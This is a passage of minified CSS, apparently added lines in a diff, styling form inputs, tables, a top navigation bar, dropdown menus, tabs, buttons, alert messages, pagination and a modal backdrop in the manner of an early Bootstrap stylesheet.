+.help-inline{padding-left:5px;*position:relative;*top:-5px;} +.help-block{display:block;max-width:600px;} +.inline-inputs{color:#808080;}.inline-inputs span{padding:0 2px 0 1px;} +.input-prepend input,.input-append input{-webkit-border-radius:0 3px 3px 0;-moz-border-radius:0 3px 3px 0;border-radius:0 3px 3px 0;} +.input-prepend .add-on,.input-append .add-on{position:relative;background:#f5f5f5;border:1px solid #ccc;z-index:2;float:left;display:block;width:auto;min-width:16px;height:18px;padding:4px 4px 4px 5px;margin-right:-1px;font-weight:normal;line-height:18px;color:#bfbfbf;text-align:center;text-shadow:0 1px 0 #ffffff;-webkit-border-radius:3px 0 0 3px;-moz-border-radius:3px 0 0 3px;border-radius:3px 0 0 3px;} +.input-prepend .active,.input-append .active{background:#a9dba9;border-color:#46a546;} +.input-prepend .add-on{*margin-top:1px;} +.input-append input{float:left;-webkit-border-radius:3px 0 0 3px;-moz-border-radius:3px 0 0 3px;border-radius:3px 0 0 3px;} +.input-append .add-on{-webkit-border-radius:0 3px 3px 0;-moz-border-radius:0 3px 3px 0;border-radius:0 3px 3px 0;margin-right:0;margin-left:-1px;} +.inputs-list{margin:0 0 5px;width:100%;}.inputs-list li{display:block;padding:0;width:100%;} +.inputs-list label{display:block;float:none;width:auto;padding:0;margin-left:20px;line-height:18px;text-align:left;white-space:normal;}.inputs-list label strong{color:#808080;} +.inputs-list label small{font-size:11px;font-weight:normal;} +.inputs-list .inputs-list{margin-left:25px;margin-bottom:10px;padding-top:0;} +.inputs-list:first-child{padding-top:6px;} +.inputs-list li+li{padding-top:2px;} +.inputs-list input[type=radio],.inputs-list input[type=checkbox]{margin-bottom:0;margin-left:-20px;float:left;} +.form-stacked{padding-left:20px;}.form-stacked fieldset{padding-top:9px;} +.form-stacked legend{padding-left:0;} +.form-stacked label{display:block;float:none;width:auto;font-weight:bold;text-align:left;line-height:20px;padding-top:0;} +.form-stacked .clearfix{margin-bottom:9px;}.form-stacked .clearfix div.input{margin-left:0;} +.form-stacked .inputs-list{margin-bottom:0;}.form-stacked .inputs-list li{padding-top:0;}.form-stacked .inputs-list li label{font-weight:normal;padding-top:0;} +.form-stacked div.clearfix.error{padding-top:10px;padding-bottom:10px;padding-left:10px;margin-top:0;margin-left:-10px;} +.form-stacked .actions{margin-left:-20px;padding-left:20px;} +table{width:100%;margin-bottom:18px;padding:0;font-size:13px;border-collapse:collapse;}table th,table td{padding:10px 10px 9px;line-height:18px;text-align:left;} +table th{padding-top:9px;font-weight:bold;vertical-align:middle;} +table td{vertical-align:top;border-top:1px solid #ddd;} +table tbody th{border-top:1px solid #ddd;vertical-align:top;} +.condensed-table th,.condensed-table td{padding:5px 5px 4px;} +.bordered-table{border:1px solid #ddd;border-collapse:separate;*border-collapse:collapse;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;}.bordered-table th+th,.bordered-table td+td,.bordered-table th+td{border-left:1px solid #ddd;} +.bordered-table thead tr:first-child th:first-child,.bordered-table tbody tr:first-child td:first-child{-webkit-border-radius:4px 0 0 0;-moz-border-radius:4px 0 0 0;border-radius:4px 0 0 0;} +.bordered-table thead tr:first-child th:last-child,.bordered-table tbody tr:first-child td:last-child{-webkit-border-radius:0 4px 0 0;-moz-border-radius:0 4px 0 0;border-radius:0 4px 0 0;} +.bordered-table tbody tr:last-child td:first-child{-webkit-border-radius:0 0 0 4px;-moz-border-radius:0 0 0 4px;border-radius:0 0 0 4px;} +.bordered-table tbody tr:last-child td:last-child{-webkit-border-radius:0 0 4px 0;-moz-border-radius:0 0 4px 0;border-radius:0 0 4px 0;} +table .span1{width:20px;} +table .span2{width:60px;} +table .span3{width:100px;} +table .span4{width:140px;} +table .span5{width:180px;} +table .span6{width:220px;} +table .span7{width:260px;} +table .span8{width:300px;} +table .span9{width:340px;} +table .span10{width:380px;} +table .span11{width:420px;} +table .span12{width:460px;} +table .span13{width:500px;} +table .span14{width:540px;} +table .span15{width:580px;} +table .span16{width:620px;} +.zebra-striped tbody tr:nth-child(odd) td,.zebra-striped tbody tr:nth-child(odd) th{background-color:#f9f9f9;} +.zebra-striped tbody tr:hover td,.zebra-striped tbody tr:hover th{background-color:#f5f5f5;} +table .header{cursor:pointer;}table .header:after{content:"";float:right;margin-top:7px;border-width:0 4px 4px;border-style:solid;border-color:#000 transparent;visibility:hidden;} +table .headerSortUp,table .headerSortDown{background-color:rgba(141, 192, 219, 0.25);text-shadow:0 1px 1px rgba(255, 255, 255, 0.75);} +table .header:hover:after{visibility:visible;} +table .headerSortDown:after,table .headerSortDown:hover:after{visibility:visible;filter:alpha(opacity=60);-khtml-opacity:0.6;-moz-opacity:0.6;opacity:0.6;} +table .headerSortUp:after{border-bottom:none;border-left:4px solid transparent;border-right:4px solid transparent;border-top:4px solid #000;visibility:visible;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;filter:alpha(opacity=60);-khtml-opacity:0.6;-moz-opacity:0.6;opacity:0.6;} +table .blue{color:#049cdb;border-bottom-color:#049cdb;} +table .headerSortUp.blue,table .headerSortDown.blue{background-color:#ade6fe;} +table .green{color:#46a546;border-bottom-color:#46a546;} +table .headerSortUp.green,table .headerSortDown.green{background-color:#cdeacd;} +table .red{color:#9d261d;border-bottom-color:#9d261d;} +table .headerSortUp.red,table .headerSortDown.red{background-color:#f4c8c5;} +table .yellow{color:#ffc40d;border-bottom-color:#ffc40d;} +table .headerSortUp.yellow,table .headerSortDown.yellow{background-color:#fff6d9;} +table .orange{color:#f89406;border-bottom-color:#f89406;} +table .headerSortUp.orange,table .headerSortDown.orange{background-color:#fee9cc;} +table .purple{color:#7a43b6;border-bottom-color:#7a43b6;} +table .headerSortUp.purple,table .headerSortDown.purple{background-color:#e2d5f0;} +.topbar{height:40px;position:fixed;top:0;left:0;right:0;z-index:10000;overflow:visible;}.topbar a{color:#bfbfbf;text-shadow:0 -1px 0 rgba(0, 0, 0, 0.25);} +.topbar h3 a:hover,.topbar .brand:hover,.topbar ul .active>a{background-color:#333;background-color:rgba(255, 255, 255, 0.05);color:#ffffff;text-decoration:none;} +.topbar h3{position:relative;} +.topbar h3 a,.topbar .brand{float:left;display:block;padding:8px 20px 12px;margin-left:-20px;color:#ffffff;font-size:20px;font-weight:200;line-height:1;} +.topbar p{margin:0;line-height:40px;}.topbar p a:hover{background-color:transparent;color:#ffffff;} +.topbar form{float:left;margin:5px 0 0 0;position:relative;filter:alpha(opacity=100);-khtml-opacity:1;-moz-opacity:1;opacity:1;} +.topbar form.pull-right{float:right;} +.topbar input{background-color:#444;background-color:rgba(255, 255, 255, 0.3);font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:normal;font-weight:13px;line-height:1;padding:4px 9px;color:#ffffff;color:rgba(255, 255, 255, 0.75);border:1px solid #111;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:inset 0 1px 2px rgba(0, 0, 0, 0.1),0 1px 0px rgba(255, 255, 255, 0.25);-moz-box-shadow:inset 0 1px 2px rgba(0, 0, 0, 0.1),0 1px 0px rgba(255, 255, 255, 0.25);box-shadow:inset 0 1px 2px rgba(0, 0, 0, 0.1),0 1px 0px rgba(255, 255, 255, 0.25);-webkit-transition:none;-moz-transition:none;-ms-transition:none;-o-transition:none;transition:none;}.topbar input:-moz-placeholder{color:#e6e6e6;} +.topbar input::-webkit-input-placeholder{color:#e6e6e6;} +.topbar input:hover{background-color:#bfbfbf;background-color:rgba(255, 255, 255, 0.5);color:#ffffff;} +.topbar input:focus,.topbar input.focused{outline:0;background-color:#ffffff;color:#404040;text-shadow:0 1px 0 #ffffff;border:0;padding:5px 10px;-webkit-box-shadow:0 0 3px rgba(0, 0, 0, 0.15);-moz-box-shadow:0 0 3px rgba(0, 0, 0, 0.15);box-shadow:0 0 3px rgba(0, 0, 0, 0.15);} +.topbar-inner,.topbar .fill{background-color:#222;background-color:#222222;background-repeat:repeat-x;background-image:-khtml-gradient(linear, left top, left bottom, from(#333333), to(#222222));background-image:-moz-linear-gradient(top, #333333, #222222);background-image:-ms-linear-gradient(top, #333333, #222222);background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #333333), color-stop(100%, #222222));background-image:-webkit-linear-gradient(top, #333333, #222222);background-image:-o-linear-gradient(top, #333333, #222222);background-image:linear-gradient(top, #333333, #222222);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#333333', endColorstr='#222222', GradientType=0);-webkit-box-shadow:0 1px 3px rgba(0, 0, 0, 0.25),inset 0 -1px 0 rgba(0, 0, 0, 0.1);-moz-box-shadow:0 1px 3px rgba(0, 0, 0, 0.25),inset 0 -1px 0 rgba(0, 0, 0, 0.1);box-shadow:0 1px 3px rgba(0, 0, 0, 0.25),inset 0 -1px 0 rgba(0, 0, 0, 0.1);} +.topbar div>ul,.nav{display:block;float:left;margin:0 10px 0 0;position:relative;left:0;}.topbar div>ul>li,.nav>li{display:block;float:left;} +.topbar div>ul a,.nav a{display:block;float:none;padding:10px 10px 11px;line-height:19px;text-decoration:none;}.topbar div>ul a:hover,.nav a:hover{color:#ffffff;text-decoration:none;} +.topbar div>ul .active>a,.nav .active>a{background-color:#222;background-color:rgba(0, 0, 0, 0.5);} +.topbar div>ul.secondary-nav,.nav.secondary-nav{float:right;margin-left:10px;margin-right:0;}.topbar div>ul.secondary-nav .menu-dropdown,.nav.secondary-nav .menu-dropdown,.topbar div>ul.secondary-nav .dropdown-menu,.nav.secondary-nav .dropdown-menu{right:0;border:0;} +.topbar div>ul a.menu:hover,.nav a.menu:hover,.topbar div>ul li.open .menu,.nav li.open .menu,.topbar div>ul .dropdown-toggle:hover,.nav .dropdown-toggle:hover,.topbar div>ul .dropdown.open .dropdown-toggle,.nav .dropdown.open .dropdown-toggle{background:#444;background:rgba(255, 255, 255, 0.05);} +.topbar div>ul .menu-dropdown,.nav .menu-dropdown,.topbar div>ul .dropdown-menu,.nav .dropdown-menu{background-color:#333;}.topbar div>ul .menu-dropdown a.menu,.nav .menu-dropdown a.menu,.topbar div>ul .dropdown-menu a.menu,.nav .dropdown-menu a.menu,.topbar div>ul .menu-dropdown .dropdown-toggle,.nav .menu-dropdown .dropdown-toggle,.topbar div>ul .dropdown-menu .dropdown-toggle,.nav .dropdown-menu .dropdown-toggle{color:#ffffff;}.topbar div>ul .menu-dropdown a.menu.open,.nav .menu-dropdown a.menu.open,.topbar div>ul .dropdown-menu a.menu.open,.nav .dropdown-menu a.menu.open,.topbar div>ul .menu-dropdown .dropdown-toggle.open,.nav .menu-dropdown .dropdown-toggle.open,.topbar div>ul .dropdown-menu .dropdown-toggle.open,.nav .dropdown-menu .dropdown-toggle.open{background:#444;background:rgba(255, 255, 255, 0.05);} +.topbar div>ul .menu-dropdown li a,.nav .menu-dropdown li a,.topbar div>ul .dropdown-menu li a,.nav .dropdown-menu li a{color:#999;text-shadow:0 1px 0 rgba(0, 0, 0, 0.5);}.topbar div>ul .menu-dropdown li a:hover,.nav .menu-dropdown li a:hover,.topbar div>ul .dropdown-menu li a:hover,.nav .dropdown-menu li a:hover{background-color:#191919;background-repeat:repeat-x;background-image:-khtml-gradient(linear, left top, left bottom, from(#292929), to(#191919));background-image:-moz-linear-gradient(top, #292929, #191919);background-image:-ms-linear-gradient(top, #292929, #191919);background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #292929), color-stop(100%, #191919));background-image:-webkit-linear-gradient(top, #292929, #191919);background-image:-o-linear-gradient(top, #292929, #191919);background-image:linear-gradient(top, #292929, #191919);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#292929', endColorstr='#191919', GradientType=0);color:#ffffff;} +.topbar div>ul .menu-dropdown .active a,.nav .menu-dropdown .active a,.topbar div>ul .dropdown-menu .active a,.nav .dropdown-menu .active a{color:#ffffff;} +.topbar div>ul .menu-dropdown .divider,.nav .menu-dropdown .divider,.topbar div>ul .dropdown-menu .divider,.nav .dropdown-menu .divider{background-color:#222;border-color:#444;} +.topbar ul .menu-dropdown li a,.topbar ul .dropdown-menu li a{padding:4px 15px;} +li.menu,.dropdown{position:relative;} +a.menu:after,.dropdown-toggle:after{width:0;height:0;display:inline-block;content:"↓";text-indent:-99999px;vertical-align:top;margin-top:8px;margin-left:4px;border-left:4px solid transparent;border-right:4px solid transparent;border-top:4px solid #ffffff;filter:alpha(opacity=50);-khtml-opacity:0.5;-moz-opacity:0.5;opacity:0.5;} +.menu-dropdown,.dropdown-menu{background-color:#ffffff;float:left;display:none;position:absolute;top:40px;z-index:900;min-width:160px;max-width:220px;_width:160px;margin-left:0;margin-right:0;padding:6px 0;zoom:1;border-color:#999;border-color:rgba(0, 0, 0, 0.2);border-style:solid;border-width:0 1px 1px;-webkit-border-radius:0 0 6px 6px;-moz-border-radius:0 0 6px 6px;border-radius:0 0 6px 6px;-webkit-box-shadow:0 2px 4px rgba(0, 0, 0, 0.2);-moz-box-shadow:0 2px 4px rgba(0, 0, 0, 0.2);box-shadow:0 2px 4px rgba(0, 0, 0, 0.2);-webkit-background-clip:padding-box;-moz-background-clip:padding-box;background-clip:padding-box;}.menu-dropdown li,.dropdown-menu li{float:none;display:block;background-color:none;} +.menu-dropdown .divider,.dropdown-menu .divider{height:1px;margin:5px 0;overflow:hidden;background-color:#eee;border-bottom:1px solid #ffffff;} +.topbar .dropdown-menu a,.dropdown-menu a{display:block;padding:4px 15px;clear:both;font-weight:normal;line-height:18px;color:#808080;text-shadow:0 1px 0 #ffffff;}.topbar .dropdown-menu a:hover,.dropdown-menu a:hover,.topbar .dropdown-menu a.hover,.dropdown-menu a.hover{background-color:#dddddd;background-repeat:repeat-x;background-image:-khtml-gradient(linear, left top, left bottom, from(#eeeeee), to(#dddddd));background-image:-moz-linear-gradient(top, #eeeeee, #dddddd);background-image:-ms-linear-gradient(top, #eeeeee, #dddddd);background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #eeeeee), color-stop(100%, #dddddd));background-image:-webkit-linear-gradient(top, #eeeeee, #dddddd);background-image:-o-linear-gradient(top, #eeeeee, #dddddd);background-image:linear-gradient(top, #eeeeee, #dddddd);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#eeeeee', endColorstr='#dddddd', GradientType=0);color:#404040;text-decoration:none;-webkit-box-shadow:inset 0 1px 0 rgba(0, 0, 0, 0.025),inset 0 -1px rgba(0, 0, 0, 0.025);-moz-box-shadow:inset 0 1px 0 rgba(0, 0, 0, 0.025),inset 0 -1px rgba(0, 0, 0, 0.025);box-shadow:inset 0 1px 0 rgba(0, 0, 0, 0.025),inset 0 -1px rgba(0, 0, 0, 0.025);} +.open .menu,.dropdown.open .menu,.open .dropdown-toggle,.dropdown.open .dropdown-toggle{color:#ffffff;background:#ccc;background:rgba(0, 0, 0, 0.3);} +.open .menu-dropdown,.dropdown.open .menu-dropdown,.open .dropdown-menu,.dropdown.open .dropdown-menu{display:block;} +.tabs,.pills{margin:0 0 18px;padding:0;list-style:none;zoom:1;}.tabs:before,.pills:before,.tabs:after,.pills:after{display:table;content:"";zoom:1;} +.tabs:after,.pills:after{clear:both;} +.tabs>li,.pills>li{float:left;}.tabs>li>a,.pills>li>a{display:block;} +.tabs{border-color:#ddd;border-style:solid;border-width:0 0 1px;}.tabs>li{position:relative;margin-bottom:-1px;}.tabs>li>a{padding:0 15px;margin-right:2px;line-height:34px;border:1px solid transparent;-webkit-border-radius:4px 4px 0 0;-moz-border-radius:4px 4px 0 0;border-radius:4px 4px 0 0;}.tabs>li>a:hover{text-decoration:none;background-color:#eee;border-color:#eee #eee #ddd;} +.tabs .active>a,.tabs .active>a:hover{color:#808080;background-color:#ffffff;border:1px solid #ddd;border-bottom-color:transparent;cursor:default;} +.tabs .menu-dropdown,.tabs .dropdown-menu{top:35px;border-width:1px;-webkit-border-radius:0 6px 6px 6px;-moz-border-radius:0 6px 6px 6px;border-radius:0 6px 6px 6px;} +.tabs a.menu:after,.tabs .dropdown-toggle:after{border-top-color:#999;margin-top:15px;margin-left:5px;} +.tabs li.open.menu .menu,.tabs .open.dropdown .dropdown-toggle{border-color:#999;} +.tabs li.open a.menu:after,.tabs .dropdown.open .dropdown-toggle:after{border-top-color:#555;} +.pills a{margin:5px 3px 5px 0;padding:0 15px;line-height:30px;text-shadow:0 1px 1px #ffffff;-webkit-border-radius:15px;-moz-border-radius:15px;border-radius:15px;}.pills a:hover{color:#ffffff;text-decoration:none;text-shadow:0 1px 1px rgba(0, 0, 0, 0.25);background-color:#00438a;} +.pills .active a{color:#ffffff;text-shadow:0 1px 1px rgba(0, 0, 0, 0.25);background-color:#0069d6;} +.pills-vertical>li{float:none;} +.tab-content>.tab-pane,.pill-content>.pill-pane,.tab-content>div,.pill-content>div{display:none;} +.tab-content>.active,.pill-content>.active{display:block;} +.breadcrumb{padding:7px 14px;margin:0 0 18px;background-color:#f5f5f5;background-repeat:repeat-x;background-image:-khtml-gradient(linear, left top, left bottom, from(#ffffff), to(#f5f5f5));background-image:-moz-linear-gradient(top, #ffffff, #f5f5f5);background-image:-ms-linear-gradient(top, #ffffff, #f5f5f5);background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #ffffff), color-stop(100%, #f5f5f5));background-image:-webkit-linear-gradient(top, #ffffff, #f5f5f5);background-image:-o-linear-gradient(top, #ffffff, #f5f5f5);background-image:linear-gradient(top, #ffffff, #f5f5f5);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#f5f5f5', GradientType=0);border:1px solid #ddd;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;-webkit-box-shadow:inset 0 1px 0 #ffffff;-moz-box-shadow:inset 0 1px 0 #ffffff;box-shadow:inset 0 1px 0 #ffffff;}.breadcrumb li{display:inline;text-shadow:0 1px 0 #ffffff;} +.breadcrumb .divider{padding:0 5px;color:#bfbfbf;} +.breadcrumb .active a{color:#404040;} +.hero-unit{background-color:#f5f5f5;margin-bottom:30px;padding:60px;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;}.hero-unit h1{margin-bottom:0;font-size:60px;line-height:1;letter-spacing:-1px;} +.hero-unit p{font-size:18px;font-weight:200;line-height:27px;} +footer{margin-top:17px;padding-top:17px;border-top:1px solid #eee;} +.page-header{margin-bottom:17px;border-bottom:1px solid #ddd;-webkit-box-shadow:0 1px 0 rgba(255, 255, 255, 0.5);-moz-box-shadow:0 1px 0 rgba(255, 255, 255, 0.5);box-shadow:0 1px 0 rgba(255, 255, 255, 0.5);}.page-header h1{margin-bottom:8px;} +.btn.danger,.alert-message.danger,.btn.danger:hover,.alert-message.danger:hover,.btn.error,.alert-message.error,.btn.error:hover,.alert-message.error:hover,.btn.success,.alert-message.success,.btn.success:hover,.alert-message.success:hover,.btn.info,.alert-message.info,.btn.info:hover,.alert-message.info:hover{color:#ffffff;} +.btn .close,.alert-message .close{font-family:Arial,sans-serif;line-height:18px;} +.btn.danger,.alert-message.danger,.btn.error,.alert-message.error{background-color:#c43c35;background-repeat:repeat-x;background-image:-khtml-gradient(linear, left top, left bottom, from(#ee5f5b), to(#c43c35));background-image:-moz-linear-gradient(top, #ee5f5b, #c43c35);background-image:-ms-linear-gradient(top, #ee5f5b, #c43c35);background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #ee5f5b), color-stop(100%, #c43c35));background-image:-webkit-linear-gradient(top, #ee5f5b, #c43c35);background-image:-o-linear-gradient(top, #ee5f5b, #c43c35);background-image:linear-gradient(top, #ee5f5b, #c43c35);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ee5f5b', endColorstr='#c43c35', GradientType=0);text-shadow:0 -1px 0 rgba(0, 0, 0, 0.25);border-color:#c43c35 #c43c35 #882a25;border-color:rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);} +.btn.success,.alert-message.success{background-color:#57a957;background-repeat:repeat-x;background-image:-khtml-gradient(linear, left top, left bottom, from(#62c462), to(#57a957));background-image:-moz-linear-gradient(top, #62c462, #57a957);background-image:-ms-linear-gradient(top, #62c462, #57a957);background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #62c462), color-stop(100%, #57a957));background-image:-webkit-linear-gradient(top, #62c462, #57a957);background-image:-o-linear-gradient(top, #62c462, #57a957);background-image:linear-gradient(top, #62c462, #57a957);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#62c462', endColorstr='#57a957', GradientType=0);text-shadow:0 -1px 0 rgba(0, 0, 0, 0.25);border-color:#57a957 #57a957 #3d773d;border-color:rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);} +.btn.info,.alert-message.info{background-color:#339bb9;background-repeat:repeat-x;background-image:-khtml-gradient(linear, left top, left bottom, from(#5bc0de), to(#339bb9));background-image:-moz-linear-gradient(top, #5bc0de, #339bb9);background-image:-ms-linear-gradient(top, #5bc0de, #339bb9);background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #5bc0de), color-stop(100%, #339bb9));background-image:-webkit-linear-gradient(top, #5bc0de, #339bb9);background-image:-o-linear-gradient(top, #5bc0de, #339bb9);background-image:linear-gradient(top, #5bc0de, #339bb9);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#5bc0de', endColorstr='#339bb9', GradientType=0);text-shadow:0 -1px 0 rgba(0, 0, 0, 0.25);border-color:#339bb9 #339bb9 #22697d;border-color:rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);} +.btn{cursor:pointer;display:inline-block;background-color:#e6e6e6;background-repeat:no-repeat;background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#ffffff), color-stop(25%, #ffffff), to(#e6e6e6));background-image:-webkit-linear-gradient(#ffffff, #ffffff 25%, #e6e6e6);background-image:-moz-linear-gradient(top, #ffffff, #ffffff 25%, #e6e6e6);background-image:-ms-linear-gradient(#ffffff, #ffffff 25%, #e6e6e6);background-image:-o-linear-gradient(#ffffff, #ffffff 25%, #e6e6e6);background-image:linear-gradient(#ffffff, #ffffff 25%, #e6e6e6);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#e6e6e6', GradientType=0);padding:5px 14px 6px;text-shadow:0 1px 1px rgba(255, 255, 255, 0.75);color:#333;font-size:13px;line-height:normal;border:1px solid #ccc;border-bottom-color:#bbb;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:inset 0 1px 0 rgba(255, 255, 255, 0.2),0 1px 2px rgba(0, 0, 0, 0.05);-moz-box-shadow:inset 0 1px 0 rgba(255, 255, 255, 0.2),0 1px 2px rgba(0, 0, 0, 0.05);box-shadow:inset 0 1px 0 rgba(255, 255, 255, 0.2),0 1px 2px rgba(0, 0, 0, 0.05);-webkit-transition:0.1s linear all;-moz-transition:0.1s linear all;-ms-transition:0.1s linear all;-o-transition:0.1s linear all;transition:0.1s linear all;}.btn:hover{background-position:0 -15px;color:#333;text-decoration:none;} +.btn:focus{outline:1px dotted #666;} +.btn.primary{color:#ffffff;background-color:#0064cd;background-repeat:repeat-x;background-image:-khtml-gradient(linear, left top, left bottom, from(#049cdb), to(#0064cd));background-image:-moz-linear-gradient(top, #049cdb, #0064cd);background-image:-ms-linear-gradient(top, #049cdb, #0064cd);background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #049cdb), color-stop(100%, #0064cd));background-image:-webkit-linear-gradient(top, #049cdb, #0064cd);background-image:-o-linear-gradient(top, #049cdb, #0064cd);background-image:linear-gradient(top, #049cdb, #0064cd);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#049cdb', endColorstr='#0064cd', GradientType=0);text-shadow:0 -1px 0 rgba(0, 0, 0, 0.25);border-color:#0064cd #0064cd #003f81;border-color:rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);} +.btn.active,.btn:active{-webkit-box-shadow:inset 0 2px 4px rgba(0, 0, 0, 0.25),0 1px 2px rgba(0, 0, 0, 0.05);-moz-box-shadow:inset 0 2px 4px rgba(0, 0, 0, 0.25),0 1px 2px rgba(0, 0, 0, 0.05);box-shadow:inset 0 2px 4px rgba(0, 0, 0, 0.25),0 1px 2px rgba(0, 0, 0, 0.05);} +.btn.disabled{cursor:default;background-image:none;filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);filter:alpha(opacity=65);-khtml-opacity:0.65;-moz-opacity:0.65;opacity:0.65;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;} +.btn[disabled]{cursor:default;background-image:none;filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);filter:alpha(opacity=65);-khtml-opacity:0.65;-moz-opacity:0.65;opacity:0.65;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;} +.btn.large{font-size:15px;line-height:normal;padding:9px 14px 9px;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;} +.btn.small{padding:7px 9px 7px;font-size:11px;} +:root .alert-message,:root .btn{border-radius:0 \0;} +button.btn::-moz-focus-inner,input[type=submit].btn::-moz-focus-inner{padding:0;border:0;} +.close{float:right;color:#000000;font-size:20px;font-weight:bold;line-height:13.5px;text-shadow:0 1px 0 #ffffff;filter:alpha(opacity=25);-khtml-opacity:0.25;-moz-opacity:0.25;opacity:0.25;}.close:hover{color:#000000;text-decoration:none;filter:alpha(opacity=40);-khtml-opacity:0.4;-moz-opacity:0.4;opacity:0.4;} +.alert-message{position:relative;padding:7px 15px;margin-bottom:18px;color:#404040;background-color:#eedc94;background-repeat:repeat-x;background-image:-khtml-gradient(linear, left top, left bottom, from(#fceec1), to(#eedc94));background-image:-moz-linear-gradient(top, #fceec1, #eedc94);background-image:-ms-linear-gradient(top, #fceec1, #eedc94);background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #fceec1), color-stop(100%, #eedc94));background-image:-webkit-linear-gradient(top, #fceec1, #eedc94);background-image:-o-linear-gradient(top, #fceec1, #eedc94);background-image:linear-gradient(top, #fceec1, #eedc94);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fceec1', endColorstr='#eedc94', GradientType=0);text-shadow:0 -1px 0 rgba(0, 0, 0, 0.25);border-color:#eedc94 #eedc94 #e4c652;border-color:rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);text-shadow:0 1px 0 rgba(255, 255, 255, 0.5);border-width:1px;border-style:solid;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:inset 0 1px 0 rgba(255, 255, 255, 0.25);-moz-box-shadow:inset 0 1px 0 rgba(255, 255, 255, 0.25);box-shadow:inset 0 1px 0 rgba(255, 255, 255, 0.25);}.alert-message .close{margin-top:1px;*margin-top:0;} +.alert-message a{font-weight:bold;color:#404040;} +.alert-message.danger p a,.alert-message.error p a,.alert-message.success p a,.alert-message.info p a{color:#ffffff;} +.alert-message h5{line-height:18px;} +.alert-message p{margin-bottom:0;} +.alert-message div{margin-top:5px;margin-bottom:2px;line-height:28px;} +.alert-message .btn{-webkit-box-shadow:0 1px 0 rgba(255, 255, 255, 0.25);-moz-box-shadow:0 1px 0 rgba(255, 255, 255, 0.25);box-shadow:0 1px 0 rgba(255, 255, 255, 0.25);} +.alert-message.block-message{background-image:none;background-color:#fdf5d9;filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);padding:14px;border-color:#fceec1;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;}.alert-message.block-message ul,.alert-message.block-message p{margin-right:30px;} +.alert-message.block-message ul{margin-bottom:0;} +.alert-message.block-message li{color:#404040;} +.alert-message.block-message .alert-actions{margin-top:5px;} +.alert-message.block-message.error,.alert-message.block-message.success,.alert-message.block-message.info{color:#404040;text-shadow:0 1px 0 rgba(255, 255, 255, 0.5);} +.alert-message.block-message.error{background-color:#fddfde;border-color:#fbc7c6;} +.alert-message.block-message.success{background-color:#d1eed1;border-color:#bfe7bf;} +.alert-message.block-message.info{background-color:#ddf4fb;border-color:#c6edf9;} +.alert-message.block-message.danger p a,.alert-message.block-message.error p a,.alert-message.block-message.success p a,.alert-message.block-message.info p a{color:#404040;} +.pagination{height:36px;margin:18px 0;}.pagination ul{float:left;margin:0;border:1px solid #ddd;border:1px solid rgba(0, 0, 0, 0.15);-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;-webkit-box-shadow:0 1px 2px rgba(0, 0, 0, 0.05);-moz-box-shadow:0 1px 2px rgba(0, 0, 0, 0.05);box-shadow:0 1px 2px rgba(0, 0, 0, 0.05);} +.pagination li{display:inline;} +.pagination a{float:left;padding:0 14px;line-height:34px;border-right:1px solid;border-right-color:#ddd;border-right-color:rgba(0, 0, 0, 0.15);*border-right-color:#ddd;text-decoration:none;} +.pagination a:hover,.pagination .active a{background-color:#c7eefe;} +.pagination .disabled a,.pagination .disabled a:hover{background-color:transparent;color:#bfbfbf;} +.pagination .next a{border:0;} +.well{background-color:#f5f5f5;margin-bottom:20px;padding:19px;min-height:20px;border:1px solid #eee;border:1px solid rgba(0, 0, 0, 0.05);-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.05);-moz-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.05);box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.05);}.well blockquote{border-color:#ddd;border-color:rgba(0, 0, 0, 0.15);} +.modal-backdrop{background-color:#000000;position:fixed;top:0;left:0;right:0;bottom:0;z-index:10000;}.modal-backdrop.fade{opacity:0;} 